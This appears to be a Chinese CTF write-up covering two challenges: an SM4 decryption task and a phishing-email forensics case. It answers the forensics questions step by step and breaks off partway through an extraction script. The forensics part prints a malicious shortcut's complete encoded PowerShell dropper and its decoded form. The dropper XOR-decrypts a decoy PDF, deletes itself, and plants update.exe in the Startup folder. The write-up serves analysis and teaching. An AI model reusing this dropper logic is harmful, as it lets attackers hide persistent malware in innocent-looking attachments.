$plaintext .= str_repeat(chr($padding), $padding);
$ciphertext = '';
for ($i = 0; $i < strlen($plaintext); $i += 16) {
$block = substr($plaintext, $i, 16);
$ciphertext .= $this->cryptBlock($block, self::ENCRYPT);
}
return $ciphertext;
}
private function cryptBlock($block, $mode) {
$x = $this->strToIntArray($block);

for ($i = 0; $i < 32; $i++) {
$roundKey = $this->sk[$i];
$x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
array_shift($x);
}
$x = array_reverse($x);
return $this->intArrayToStr($x);
}
private function F($x1, $x2, $x3, $rk) {
return $this->T($x1 ^ $x2 ^ $x3 ^ $rk);
}
private function CKF($a, $b, $c, $ck) {
return $a ^ $this->T($b ^ $c ^ $ck);
}
private function T($x) {
return $this->L($this->S($x));
}
private function S($x) {
$result = 0;
for ($i = 0; $i < 4; $i++) {
$byte = ($x >> (24 - $i * 8)) & 0xFF;
$result |= self::$SboxTable[$byte] << (24 - $i * 8);
}
return $result;
}
private function L($x) {
return $x ^ $this->rotl($x, 2) ^ $this->rotl($x, 10) ^ $this->rotl($x, 18) ^ $this->rotl($x, 24);
}
private function rotl($x, $n) {
return (($x << $n) & 0xFFFFFFFF) | (($x >> (32 - $n)) & 0xFFFFFFFF);
}
private function strToIntArray($str) {
$result = [];
for ($i = 0; $i < 4; $i++) {
$offset = $i * 4;
$result[$i] =
(ord($str[$offset]) << 24) |
(ord($str[$offset + 1]) << 16) |
(ord($str[$offset + 2]) << 8) |
ord($str[$offset + 3]);
}
return $result;
}
private function intArrayToStr($array) {
$str = '';
foreach ($array as $int) {
$str .= chr(($int >> 24) & 0xFF);
$str .= chr(($int >> 16) & 0xFF);
$str .= chr(($int >> 8) & 0xFF);
$str .= chr($int & 0xFF);
}
return $str;
}
}
try {
$key = "a8a58b78f41eeb6a";
$sm4 = new SM4($key);
$plaintext = "flag";
$ciphertext = $sm4->encrypt($plaintext);
echo base64_encode($ciphertext) ; //VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu
} catch (Exception $e) {
echo $e->getMessage() ;
}
?>

把上面的 php 代码丢给 AI,让它写解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
import base64
import struct

class SM4:
# 静态常量,与PHP代码完全一致
FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC]
CK = [
0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
]
SboxTable = [
0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x0D, 0x2D, 0xEC,
0x84, 0x9B, 0x1E, 0x87, 0xE0, 0x3E, 0xB5, 0x66, 0x48, 0x02, 0x6C, 0xBB, 0xBB, 0x32, 0x83, 0x27,
0x9E, 0x01, 0x8D, 0x53, 0x9B, 0x64, 0x7B, 0x6B, 0x6A, 0x6C, 0xEC, 0xBB, 0xC4, 0x94, 0x3B, 0x0C,
0x76, 0xD2, 0x09, 0xAA, 0x16, 0x15, 0x3D, 0x2D, 0x0A, 0xFD, 0xE4, 0xB7, 0x37, 0x63, 0x28, 0xDD,
0x7C, 0xEA, 0x97, 0x8C, 0x6D, 0xC7, 0xF2, 0x3E, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7,
0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x36, 0x24, 0x07, 0x82, 0xFA, 0x54, 0x5B, 0x40,
0x8F, 0xED, 0x1F, 0xDA, 0x93, 0x80, 0xF9, 0x61, 0x1C, 0x70, 0xC3, 0x85, 0x95, 0xA9, 0x79, 0x08,
0x46, 0x29, 0x02, 0x3B, 0x4D, 0x83, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x1A, 0x47, 0x5C, 0x0D, 0xEA,
0x9E, 0xCB, 0x55, 0x20, 0x15, 0x8A, 0x9A, 0xCB, 0x43, 0x0C, 0xF0, 0x0B, 0x40, 0x58, 0x00, 0x8F,
0xEB, 0xBE, 0x3D, 0xC2, 0x9F, 0x51, 0xFA, 0x13, 0x3B, 0x0D, 0x90, 0x5B, 0x6E, 0x45, 0x59, 0x33
]

def __init__(self, key: bytes):
self.sk = [0] * 32
self.set_key(key)

def _rotl(self, x, n):
return ((x << n) | (x >> (32 - n))) & 0xFFFFFFFF

def _S(self, x):
result = 0
for i in range(4):
byte = (x >> (24 - i * 8)) & 0xFF
result |= self.SboxTable[byte] << (24 - i * 8)
return result

def _L(self, x):
return (x ^ self._rotl(x, 2) ^ self._rotl(x, 10) ^ self._rotl(x, 18) ^ self._rotl(x, 24)) & 0xFFFFFFFF

def _T(self, x):
return self._L(self._S(x))

# 修正后的密钥扩展函数
def _CKF(self, a, b, c, ck):
val = (b ^ c ^ ck) & 0xFFFFFFFF
t_val = self._T(val)
return (a ^ t_val) & 0xFFFFFFFF

# 修正后的加密/解密轮函数
def _F(self, x1, x2, x3, rk):
return self._T((x1 ^ x2 ^ x3 ^ rk) & 0xFFFFFFFF)

def set_key(self, key: bytes):
if len(key) != 16:
raise ValueError("SM4 key must be 16 bytes long")

key_ints = list(struct.unpack('>IIII', key))
k = [0] * 36
for i in range(4):
k[i] = key_ints[i] ^ self.FK[i]

for i in range(32):
# 使用修正后的密钥扩展逻辑
# PHP: $k[$i] ^ $this->CKF($k[$i + 1], $k[$i + 2], $k[$i + 3], self::$CK[$i])
# $this->CKF(...) is $k[i+1] ^ $this->T(...)
# So, it's: k[i] ^ k[i+1] ^ T(k[i+2] ^ k[i+3] ^ CK[i])
inner_xor = (k[i + 2] ^ k[i + 3] ^ self.CK[i]) & 0xFFFFFFFF
t_val = self._T(inner_xor)
k[i + 4] = (k[i] ^ k[i + 1] ^ t_val) & 0xFFFFFFFF
self.sk[i] = k[i + 4]

def _crypt_block(self, block: bytes, is_decrypt: bool):
x = list(struct.unpack('>IIII', block))

round_keys = self.sk[::-1] if is_decrypt else self.sk

for i in range(32):
round_key = round_keys[i]
# 修正后的轮函数应用逻辑
# new_x3 = old_x0 ^ F(old_x1, old_x2, old_x3, rk)
f_result = self._F(x[1], x[2], x[3], round_key)
new_val = (x[0] ^ f_result) & 0xFFFFFFFF
x = [x[1], x[2], x[3], new_val]

x.reverse()
return struct.pack('>IIII', *x)

def decrypt_ecb(self, ciphertext: bytes):
decrypted_padded = b''
for i in range(0, len(ciphertext), 16):
block = ciphertext[i:i+16]
decrypted_padded += self._crypt_block(block, is_decrypt=True)

return self._unpad(decrypted_padded)

def _unpad(self, data: bytes):
padding_len = data[-1]
if padding_len > 16 or padding_len == 0:
return data

padding = data[-padding_len:]
if all(p == padding_len for p in padding):
return data[:-padding_len]
else:
return data

# --- 主程序 ---
if __name__ == "__main__":
key_str = "a8a58b78f41eeb6a"
# 题目中的密文
ciphertext_b64 = "VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu"
# 你提供的Hex解码后的密文
# ciphertext_b64 = "VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuP/DC80lhFlaJY2R3TintdQu" # 原始应该是这个,有个/

key_bytes = key_str.encode('utf-8')
ciphertext_bytes = base64.b64decode(ciphertext_b64)

print(f"密钥 (bytes): {key_bytes}")
print(f"待解密密文 (bytes): {ciphertext_bytes.hex()}")
print("-" * 30)

sm4_cipher = SM4(key_bytes)

try:
decrypted_bytes = sm4_cipher.decrypt_ecb(ciphertext_bytes)
try:
flag = decrypted_bytes.decode('utf-8')
print("解密成功!")
print(f"Flag: {flag}")
except UnicodeDecodeError:
print("解密成功! (但无法用UTF-8解码)")
print(f"原始字节: {decrypted_bytes}")
print(f"Hex表示: {decrypted_bytes.hex()}")

except Exception as e:
print(f"解密失败: {e}")
1
2
3
4
5
密钥 (bytes): b'a8a58b78f41eeb6a'
待解密密文 (bytes): 54258121dcdf8e6e3912660559ca975f456941e64f788e90ab28ecbf7d72b8f4c30bcd2584595a258d91dd38a7b5d42e
------------------------------
解密成功!
Flag: flag{1ac380d6-5820-4e1a-b40e-ddf1789f6b0d}

FLAG

1
flag{1ac380d6-5820-4e1a-b40e-ddf1789f6b0d}

bademail

Challenge

我收到了来自hr的邮件,当我打开附件的时候一个黑框一闪而过,我立刻上报了IT部门,于是他们拿走了我的硬盘。

  • 攻击者的邮箱地址是什么?
  • 攻击者的MAC地址是什么?(格式:([a-z0-9]{2}\:){5}[a-z0-9]{2}
  • 攻击者机器是虚拟机吗?(y/n)
  • 攻击者采用的权限维持技术的ATT&CK ID是多少?(格式T[0-9]{4}\.[0-9]+)
  • 诱饵文件的真实创建时间?(格式:yyyy-mm-dd_hh:mm:ss,时区为UTC+8)
  • 恶意软件通讯采用的对称加密算法和生成密钥使用主密钥是什么?提交组合后的哈希值(格式:md5(des-ecb_十六进制字符串密钥),字母全部为小写字母)
  • 恶意软件的TLS证书的签名者是谁?(空格用_替代)
  • 受害者被窃取的discord账户密码是多少?

注意:每一小问的答案提交的时候需要带上flag{*} 比如答案whoami 需要提交flag{whoami}。答对所有小问后,才会得到该题的 flag。
题目附件链接1:https://pan.baidu.com/s/1GUrHBDi5a5HRixh8DsCHqQ?pwd=8xll
题目附件链接2(SilentMiner.7z+BadEmail.zip):https://adnav-data.obs.myhuaweicloud.com:443/wq/%E9%99%84%E4%BB%B6.zip?AccessKeyId=HPUALOBCQTBFQ07YYZGK&Expires=1757481203&Signature=jcX94Vns/CoyOkAAtA6kVN8SS5U%3D

Solution

使用工具分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
驱动器: E:\Desktop\BadEmail\chall1.E01
磁阵所属平台类型: Windows 软磁阵
磁阵类型: linear
磁阵驱动器数量: 2
可用空间大小: 990.0 MB (1038090240 字节)
总空间大小: 1.9 GB (2076180480 字节)
起始扇区: 65664 (扇区)
循环类型:
条带大小: 0 (扇区)
本驱动器编号: 1

驱动器: E:\Desktop\BadEmail\chall2.E01
磁阵所属平台类型: Windows 软磁阵
磁阵类型: linear
磁阵驱动器数量: 2
可用空间大小: 990.0 MB (1038090240 字节)
总空间大小: 1.9 GB (2076180480 字节)
起始扇区: 65664 (扇区)
循环类型:
条带大小: 0 (扇区)
本驱动器编号: 0

使用R-Studio重组raid并解题

1

在收件箱找到 Fri Aug 15 10:23:58 2025 的钓鱼邮件

1
2
3
From: =?GBK?B?wfW378P5?= <hnhuimeng_hr@163.com>
To: m00nwa1ker2025@outlook.com
Subject: =?GBK?B?uv7Ez7vmw87T0M/euavLvrncwO255raoob4yMDI10MKw5qG/?=

找到发件人

1
flag{hnhuimeng_hr@163.com}

2

提取附件的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
import mailbox
import os
import re
from email.header import decode_header

MBOX_FILE = 'INBOX'
OUTPUT_DIR = 'attachments'

def decode_mime_header(header_string):
"""
解码MIME编码的头部信息(如文件名),正确处理多种字符集。
"""
if not header_string:
return ""

decoded_parts = []
try:
for part, charset in decode_header(header_string):
if isinstance(part, bytes):
if charset:
try:
decoded_parts.append(part.decode(charset, 'replace'))
except (UnicodeDecodeError, LookupError):
decoded_parts.append(part.decode('gb18030', 'ignore'))
else:
try:
decoded_parts.append(part.decode('utf-8', 'replace'))
except UnicodeDecodeError:
decoded_parts.append(part.decode('gb18030', 'ignore'))
else:
decoded_parts.append(part)
except Exception:
return str(header_string) # Fallback to plain string if decoding fails

return "".join(decoded_parts)

def get_email_body(message):
"""
从 message 对象中提取 text/plain 和 text/html 正文内容。
"""
body_plain = None
body_html = None

if message.is_multipart():
for part in message.walk():
content_type = part.get_content_type()
content_disposition = str(part.get('Content-Disposition'))

# 我们只想要正文部分,而不是附件
if "attachment" not in content_disposition:
if content_type == 'text/plain' and body_plain is None:
payload = part.get_payload(decode=True)
charset = part.get_content_charset() or 'utf-8'
try:
body_plain = payload.decode(charset, 'replace')
except LookupError:
body_plain = payload.decode('gb18030', 'replace')
elif content_type == 'text/html' and body_html is None:
payload = part.get_payload(decode=True)
charset = part.get_content_charset() or 'utf-8'
try:
body_html = payload.decode(charset, 'replace')
except LookupError:
body_html = payload.decode('gb18030', 'replace')
else: # 如果不是 multipart,它本身就是正文
payload = message.get_payload(decode=True)
charset = message.get_content_charset() or 'utf-8'
try:
body_plain = payload.decode(charset, 'replace')
except LookupError:
body_plain = payload.decode('gb18030', 'replace')

return body_plain, body_html


def extract_from_mbox(mbox_file_path, output_dir):
"""
从 mbox 格式的文件中提取邮件正文和附件。
"""
if not os.path.exists(output_dir):
os.makedirs(output_dir)
print(f"创建输出文件夹: {output_dir}")

try:
mbox = mailbox.mbox(mbox_file_path)
except FileNotFoundError:
print(f"错误: 文件 '{mbox_file_path}' 未找到。")
return
except Exception as e:
print(f"打开 mbox 文件时出错: {e}")
return

email_count = 0
attachment_count = 0

print(f"--- 正在以 mbox 格式解析文件: {mbox_file_path} ---")

for i, message in enumerate(mbox):
email_count += 1
print(f"\n{'='*20} 邮件 #{i+1} {'='*20}")

# --- 打印邮件头部信息 ---
subject = decode_mime_header(message['Subject'])
sender = decode_mime_header(message['From'])
recipient = decode_mime_header(message['To'])
date = decode_mime_header(message['Date'])

print(f" 发件人: {sender}")
print(f" 收件人: {recipient}")
print(f" 日 期: {date}")
print(f" 主 题: {subject}")
print("-" * 50)

# --- 打印邮件正文 ---
body_plain, body_html = get_email_body(message)
if body_plain:
print(" [正文 - 纯文本]:")
print(body_plain.strip())
print("-" * 50)
if body_html:
print(" [正文 - HTML]:")
print(body_html.strip())
print("-" * 50)

# --- 提取附件 ---
print(" [附件信息]:")
found_attachments = False
for part in message.walk():
if part.get_content_maintype() == 'multipart' or part.get('Content-Disposition') is None:
continue

filename = part.get_filename()
if filename:
found_attachments = True
decoded_filename = decode_mime_header(filename)
cleaned_filename = re.sub(r'[\\/*?:"<>|]', "", decoded_filename).strip()
if not cleaned_filename:
continue

filepath = os.path.join(output_dir, cleaned_filename)
print(f" [+] 发现附件: {decoded_filename}")

payload = part.get_payload(decode=True)
if payload:
with open(filepath, 'wb') as f_out:
f_out.write(payload)
print(f" -> 已保存至: {filepath}")
attachment_count += 1
else:
print(f" -> 警告: 附件内容为空。")

if not found_attachments:
print(" (无附件)")

print(f"\n{'='*20} 处理完成 {'='*20}")
print(f"共处理 {email_count} 封邮件,提取了 {attachment_count} 个附件。")


if __name__ == '__main__':
extract_from_mbox(MBOX_FILE, OUTPUT_DIR)

使用专门为解析 .lnk 文件而设计的工具 LECmd 提取快捷方式的信息

1
LECmd -f 湖南绘梦有限公司管理规定.lnk --csv .
1
2
3
4
5
>> Tracker database block
Machine ID: desktop-kdrhc2u
MAC Address: 00:0c:29:d8:d0:69
MAC Vendor: VMWARE
Creation: 2025-06-15 00:36:19
1
flag{00:0c:29:d8:d0:69}

3

从第二问能看出来

1
flag{y}

4

解压附件得到的 .lnk 的目标是:

1
C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -enc "JAB6AGQAPQAgAEcAZQB0AC0ATABvAGMAYQB0AGkAbwBuADsAJABjAGEAcABlAD0AIAAiACQAegBkAFwAVm5XU9h+pmgJZ1CWbFH4U6F7BnTEiZpbLgBsAG4AawAiADsAJABjADEAcwAyACAAPQAgAEcAZQB0AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAYwBhAHAAZQA7ACQAeABrACAAPQAgAFsAYgB5AHQAZQBbAF0AXQAgAEAAKAAwAHgAMQAzACwAIAAwAHgARgA1ACkAOwAkAGYAYgBjAHMAZQAxACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABjAGEAcABlACkAOwAkAHMAdABzAGUAZQA9ACQAYwAxAHMAMgAuAEwAZQBuAGcAdABoAC0AMgA2ADEAOQA4ADgALQAzADUAMAAzADEAOwAkAGUAbgBjAHIAeQBwAHQAZQBkAEQAYQB0AGEAIAA9ACAAJABmAGIAYwBzAGUAMQBbACQAcwB0AHMAZQBlAC4ALgAoACQAZgBiAGMAcwBlADEALgBMAGUAbgBnAHQAaAAgAC0AMwA1ADAAMwAyACkAXQA7ACQAZAAwAHMAeABkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABlAG4AYwByAHkAcAB0AGUAZABEAGEAdABhAC4ATABlAG4AZwB0AGgAKQA7AGYAbwByACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwByAHkAcAB0AGUAZABEAGEAdABhAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkADAAcwB4AGQAWwAkAGkAXQAgAD0AIAAkAGUAbgBjAHIAeQBwAHQAZQBkAEQAYQB0AGEAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAeABrAFsAJABpACAAJQAgACQAeABrAC4ATABlAG4AZwB0AGgAXQB9ADsAJABvAG8AcAAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAegBkACAAIAAtAEMAaABpAGwAZABQAGEAdABoACAAIgBWbldT2H6maAlnUJZsUfhToXsGdMSJmlsuAHAAZABmACIAOwBbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAJABvAG8AcAAsACAAJABkADAAcwB4AGQAKQA7AFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAYwBhAHAAZQAgAC0ARgBvAHIAYwBlADsAaQBpACAAIgBWbldT2H6maAlnUJZsUfhToXsGdMSJmlsuAHAAZABmACIAOwAgACQAcABvADIAcwBkAHcAMQAgAD0AIAAkAGYAYgBjAHMAZQAxAFsAKAAkAGYAYgBjAHMAZQAxAC4ATABlAG4AZwB0AGgAIAAtACAAMwA1ADAAMwAxACkALgAuACgAJABmAGIAYwBzAGUAMQAuAEwAZQBuAGcAdABoACAALQAgADEAKQBdADsAIAAkAGMANAAwADUAdgBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALAAkAHAAbwAyAHMAZAB3ADEAKQA7ACQAZABzADIAdwBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnADYAUwBzAGEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwBaAGkAcABTAHQAcgBlAGEAbQAoACQAYwA0ADAANQB2AGQALAAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAGcANgBTAHMAYQAuAEMAbwBwAHkAVABvACgAJABkAHMAMgB3AGQAKQA7ACQAZABmADIAMwBkACAAPQAgACQAZABzADIAdwBkAC4AVABvAEEAcgByAGEAeQAoACkAOwBbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAdABhAHIAdAAgAE0AZQBuAHUAXABQAHIAbwBnAHIAYQBtAHMAXABTAHQAYQByAHQAdQBwAFwAdQBwAGQAYQB0AGUALgBlAHgAZQAiACwAIAAkAGQAZgAyADMAZAApAA=="

在 PowerShell 解码

1
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("...")

得到

1
$zd= Get-Location;$cape= "$zd\湖南绘梦有限公司管理规定.lnk";$c1s2 = Get-Item -Path $cape;$xk = [byte[]] @(0x13, 0xF5);$fbcse1 = [System.IO.File]::ReadAllBytes($cape);$stsee=$c1s2.Length-261988-35031;$encryptedData = $fbcse1[$stsee..($fbcse1.Length -35032)];$d0sxd = New-Object byte[] ($encryptedData.Length);for($i = 0; $i -lt $encryptedData.Length; $i++) {$d0sxd[$i] = $encryptedData[$i] -bxor $xk[$i % $xk.Length]};$oop = Join-Path -Path $zd  -ChildPath "湖南绘梦有限公司管理规 定.pdf";[System.IO.File]::WriteAllBytes($oop, $d0sxd);Remove-Item -Path $cape -Force;ii "湖南绘梦有限公司管理规定.pdf"; $po2sdw1 = $fbcse1[($fbcse1.Length - 35031)..($fbcse1.Length - 1)]; $c405vd = New-Object System.IO.MemoryStream(,$po2sdw1);$ds2wd = New-Object System.IO.MemoryStream;$g6Ssa = New-Object System.IO.Compression.GZipStream($c405vd, [System.IO.Compression.CompressionMode]::Decompress);$g6Ssa.CopyTo($ds2wd);$df23d = $ds2wd.ToArray();[System.IO.File]::WriteAllBytes("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.exe", $df23d)
  1. 证据定位:

在这段脚本的末尾有以下代码:

1
[System.IO.File]::WriteAllBytes("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.exe",  $df23d)

这行代码是整个权限维持机制的核心。

  1. 行为分析:

我们来拆解这行命令的含义,以理解其技术行为:

  • [System.IO.File]::WriteAllBytes(...):这是一个 .NET Framework 的方法,功能是向指定路径写入一个字节数组。
  • $df23d:这是 PowerShell 脚本中的一个变量,它存储了从 .lnk 文件自身提取并经过 GZip 解压缩后的数据,也就是恶意可执行文件(后门程序)的内容。
  • "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.exe":这是写入的目标路径,也是最关键的部分。
    • $env:APPDATA 是一个系统环境变量,它会动态解析为当前用户的应用程序数据文件夹。在大多数 Windows 系统上,这个路径是 C:\Users\<当前用户名>\AppData\Roaming
    • 因此,完整路径就是 C:\Users\<当前用户名>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update.exe
    • 这个 Startup 文件夹(中文系统下显示为“启动”文件夹)是 Windows 的一个特殊系统文件夹。

核心行为是:攻击者将一个名为 update.exe 的恶意程序放置到了当前用户的“启动”文件夹中。

  1. MITRE ATT&CK 框架映射:

现在,我们将分析出的行为与 MITRE ATT&CK 框架进行匹配:

确定战术 (Tactic):该行为的最终目的是确保恶意软件在系统重启或用户重新登录后能够自动运行,从而保持对系统的控制。这完全符合 Persistence (权限维持) 战术的定义 (战术 ID: TA0003)。

确定技术 (Technique):在“权限维持”战术下,我们需要寻找与开机或登录时自动执行程序相关的技术。T1547: Boot or Logon Autostart Execution (启动或登录时自动执行) 完美地描述了这种行为。

确定子技术 (Sub-technique):技术 T1547 包含了多种实现自动执行的方法(如修改注册表、创建计划任务、替换系统服务等)。我们需要找到最精确的那个子技术。

  • 将文件放入“启动”文件夹是其中一种最古老也最直接的方法。
  • 查阅 T1547 的子技术列表,我们可以找到 T1547.001: Registry Run Keys / Startup Folder (注册表运行键 / 启动文件夹)。
  • 该子技术的描述明确指出:“Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the ‘run keys’ in the Registry or startup folder will cause the program referenced to be executed when a user logs in.

攻击者的 PowerShell 脚本明确地将可执行文件写入了用户的“启动”(Startup)文件夹,这一行为与 ATT&CK 子技术 T1547.001 的描述完全吻合。

1
flag{T1547.001}

5

从第四问可以看到这个脚本的作用是:

  1. 释放并打开诱饵 PDF
    • 读取 .lnk 文件自身的内容。
    • 从文件尾部特定偏移量提取数据块。
    • 用 0x13, 0xF5 这个密钥进行 XOR 解密。
    • 将解密后的内容保存为 湖南绘梦有限公司管理规定.pdf。
    • 删除原始的 .lnk 文件。
    • 自动打开这个 PDF 文件来迷惑用户。
  2. 植入后门
    • 从 .lnk 文件的最后一部分提取另一个数据块。
    • 对该数据块进行 GZip 解压缩。
    • 将解压后的内容(一个可执行文件)保存到启动文件夹,路径为 %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\update.exe。

提取出诱饵PDF和后门文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import gzip
import os

# --- 配置 ---
LNK_FILE = "湖南绘梦有限公司管理规定.lnk"

# 输出文件名
DECRYPTED_PDF_FILE = "湖南绘梦有限公司管理规定.pdf"
DECRYPTED_EXE_FILE = "update.exe"

# 从 PowerShell 脚本中获取的常量
# PDF 相关的偏移量
PDF_OFFSET_START_FROM_END = 261988 + 35031
PDF_OFFSET_END_FROM_END = 35032
PDF_XOR_KEY = bytes([0x13, 0xF5])

# EXE 相关的偏移量
EXE_OFFSET_START_FROM_END = 35031
# --- 结束配置 ---

def extract_and_decrypt():
"""
从 .lnk 文件中提取并解密 PDF 和 EXE 文件。
"""
try:
print(f"[*] 正在读取文件: {LNK_FILE}")
with open(LNK_FILE, 'rb') as f:
lnk_data = f.read()
file_length = len(lnk_data)
print(f"[+] 文件读取成功,总大小: {file_length} 字节。")
except FileNotFoundError:
print(f"[!] 错误: 文件 '{LNK_FILE}' 未找到。请检查文件名和路径。")
return

# --- 1. 处理 PDF 文件 ---
print("\n--- 正在提取和解密 PDF 文件 ---")
try:
# 根据 PowerShell 逻辑计算切片索引
# $stsee=$c1s2.Length-261988-35031;
# $encryptedData = $fbcse1[$stsee..($fbcse1.Length -35032)];
pdf_start_index = file_length - PDF_OFFSET_START_FROM_END
pdf_end_index = file_length - PDF_OFFSET_END_FROM_END

if pdf_start_index < 0 or pdf_end_index <= pdf_start_index:
raise ValueError("计算出的 PDF 偏移量无效。")

encrypted_pdf_data = lnk_data[pdf_start_index:pdf_end_index]
print(f"[+] 定位到加密的 PDF 数据 (大小: {len(encrypted_pdf_data)} 字节)")

# 执行 XOR 解密
decrypted_pdf_data = bytearray()
for i in range(len(encrypted_pdf_data)):
decrypted_byte = encrypted_pdf_data[i] ^ PDF_XOR_KEY[i % len(PDF_XOR_KEY)]
decrypted_pdf_data.append(decrypted_byte)

# 保存解密后的 PDF
with open(DECRYPTED_PDF_FILE, 'wb') as f:
f.write(decrypted_pdf_data)
print(f"[+] PDF 解密成功!已保存为: {DECRYPTED_PDF_FILE}")

except Exception as e:
print(f"[!] 提取 PDF 文件时发生错误: {e}")

# --- 2. 处理 EXE 文件 ---
print("\n--- 正在提取和解压 EXE 文件 ---")
try:
# 根据 PowerShell 逻辑计算切片索引
